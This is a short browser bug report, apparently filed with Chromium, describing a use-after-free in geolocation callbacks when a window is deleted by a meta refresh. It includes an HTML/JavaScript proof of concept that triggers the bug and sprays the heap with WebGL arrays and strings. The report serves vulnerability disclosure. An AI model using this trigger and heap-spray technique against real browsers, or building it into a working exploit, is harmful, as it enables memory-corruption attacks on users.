Repro

Memory corruption when refreshing a window while using geolocation. I think the geolocation code is not considering that the window object it was called from may get deleted or it's callback function may be a method of a deleted window object. When the callback is made, the window object (or the captureEvents method) is probably used-after-free. See also bug 39388. Reported to Chromium project by kuzzcc.

<meta http-equiv="refresh" content="0;url=repro.html"> 
<script>
  if (location.search) {
    window.navigator.geolocation.getCurrentPosition(window.captureEvents);
    window.navigator.geolocation.getCurrentPosition(null);
    heap_corrupt();
  } else {
    document.write('<iframe src="repro.html?go"></iframe>');
  }
  function heap_corrupt() {
    console.log('heap corrupted');
    var a = [];
    for(var si = 0; si < 0x100; si++) {
      try { a.push(new WebGLByteArray(si)) } catch (e) {}
      a.push(new Array(si).join('A'));
    }
    for (var li = 0x200; li < 0x10000; li <<= 1) {
      try { a.push(new WebGLByteArray(li)); } catch (e) {}
      a.push(new Array(li).join('A'));
    }
    delete a;
    try { gc(); } catch (e) {};
  }
</script>

The way the window is refreshed (meta refresh) seems to be important; location.reload() does not seem to work for me.
